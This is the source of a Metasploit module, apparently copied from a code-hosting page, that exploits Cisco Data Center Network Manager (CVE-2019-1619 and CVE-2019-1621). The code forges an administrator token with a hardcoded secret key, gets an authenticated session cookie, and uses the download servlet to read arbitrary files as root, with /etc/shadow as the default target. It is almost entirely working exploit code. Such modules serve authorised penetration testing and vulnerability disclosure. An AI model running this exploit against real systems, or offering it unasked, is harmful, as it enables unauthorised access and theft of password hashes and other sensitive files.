Path: blob/master/modules/auxiliary/admin/networking/cisco_dcnm_download.rb
19670 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary67include Msf::Auxiliary::Report8include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::Deprecated10moved_from 'auxiliary/admin/cisco/cisco_dcnm_download'1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Cisco Data Center Network Manager Unauthenticated File Download',17'Description' => %q{18DCNM exposes a servlet to download files on /fm/downloadServlet.19An authenticated user can abuse this servlet to download arbitrary files as root by specifying20the full path of the file.21This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should22work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit23(see References to understand why).24},25'Author' => [26'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module27],28'License' => MSF_LICENSE,29'References' => [30[ 'CVE', '2019-1619' ],31[ 'CVE', '2019-1621' ],32[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass' ],33[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-file-dwnld' ],34[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/Cisco/cisco-dcnm-rce.txt' ],35[ 'URL', 'https://seclists.org/fulldisclosure/2019/Jul/7' ]36],37'DisclosureDate' => '2019-06-26',38'Notes' => {39'Stability' => [CRASH_SAFE],40'SideEffects' => [IOC_IN_LOGS],41'Reliability' => []42}43)44)4546register_options(47[48Opt::RPORT(443),49OptBool.new('SSL', [true, 'Connect with TLS', true]),50OptString.new('TARGETURI', [true, 'Default server path', '/']),51OptString.new('USERNAME', [true, 'Username for auth (required only for 11.0(1)', 'admin']),52OptString.new('PASSWORD', [true, 'Password for auth (required only for 11.0(1)', 'admin']),53OptString.new('FILEPATH', [false, 'Path of the file to download', '/etc/shadow']),54]55)56end5758def auth_v1159res = send_request_cgi(60'uri' => normalize_uri(target_uri.path, 'fm/'),61'method' => 'GET',62'vars_get' =>63{64'userName' => datastore['USERNAME'],65'password' => datastore['PASSWORD']66}67)6869# get the JSESSIONID cookie70if res && res.code == 200 && res.get_cookies71res.get_cookies.split(';').each do |cok|72if cok.include?('JSESSIONID')73return cok74end75end76end77end7879def auth_v1080# step 1: get a JSESSIONID cookie and the server Date header81res = send_request_cgi({82'uri' => normalize_uri(target_uri.path, 'fm/'),83'method' => 'GET'84})8586# step 2: convert the Date header and create the auth hash87if res && res.headers['Date']88jsession = res.get_cookies.split(';')[0]89date = Time.httpdate(res.headers['Date'])90server_date = date.strftime('%s').to_i * 100091print_good("#{peer} - Got sysTime value #{server_date}")9293# auth hash format:94# username + sessionId + sysTime + POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF95session_id = rand(1000..50000).to_s96md5 = Digest::MD5.digest 'admin' + session_id + server_date.to_s +97'POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF'98md5_str = Base64.strict_encode64(md5)99100# step 3: authenticate our cookie as admin101# token format: sessionId.sysTime.md5_str.username102res = send_request_cgi(103'uri' => normalize_uri(target_uri.path, 'fm', 'pmreport'),104'cookie' => jsession,105'vars_get' =>106{107'token' => "#{session_id}.#{server_date}.#{md5_str}.admin"108},109'method' => 'GET'110)111112if res && res.code == 500113return jsession114end115end116end117118def run119res = send_request_cgi(120'uri' => normalize_uri(target_uri.path, 'fm', 'fmrest', 'about', 'version'),121'method' => 'GET'122)123noauth = false124125if res && res.code == 200126if res.body.include?('version":"11.1(1)')127print_good("#{peer} - Detected DCNM 11.1(1)")128print_status("#{peer} - No authentication required, ready to exploit!")129noauth = true130elsif res.body.include?('version":"11.0(1)')131print_good("#{peer} - Detected DCNM 11.0(1)")132print_status("#{peer} - Note that 11.0(1) requires valid authentication credentials to exploit")133jsession = auth_v11134elsif res.body.include?('version":"10.4(2)')135print_good("#{peer} - Detected DCNM 10.4(2)")136print_status("#{peer} - No authentication required, ready to exploit!")137jsession = auth_v10138else139print_error("#{peer} - Failed to detect module version.")140print_error('Please contact module author or add the target yourself and submit a PR to the Metasploit project!')141print_error(res.body)142print_error("#{peer} - Trying unauthenticated method for DCNM 10.4(2) and below...")143jsession = auth_v10144end145end146147if jsession || noauth148print_good("#{peer} - Successfully authenticated our JSESSIONID cookie")149else150fail_with(Failure::Unknown, "#{peer} - Failed to authenticate JSESSIONID cookie")151end152153res = send_request_cgi(154'uri' => normalize_uri(target_uri.path, 'fm', 'downloadServlet'),155'method' => 'GET',156'cookie' => jsession,157'vars_get' => {158'showFile' => datastore['FILEPATH']159}160)161162if res && res.code == 200 && !res.body.empty?163filedata = res.body164vprint_line(filedata.to_s)165fname = File.basename(datastore['FILEPATH'])166167path = store_loot(168'cisco-DCNM.http',169'application/octet-stream',170datastore['RHOST'],171filedata,172fname173)174print_good("File saved in: #{path}")175else176fail_with(Failure::Unknown, "#{peer} - Failed to download file #{datastore['FILEPATH']}")177end178end179end180181182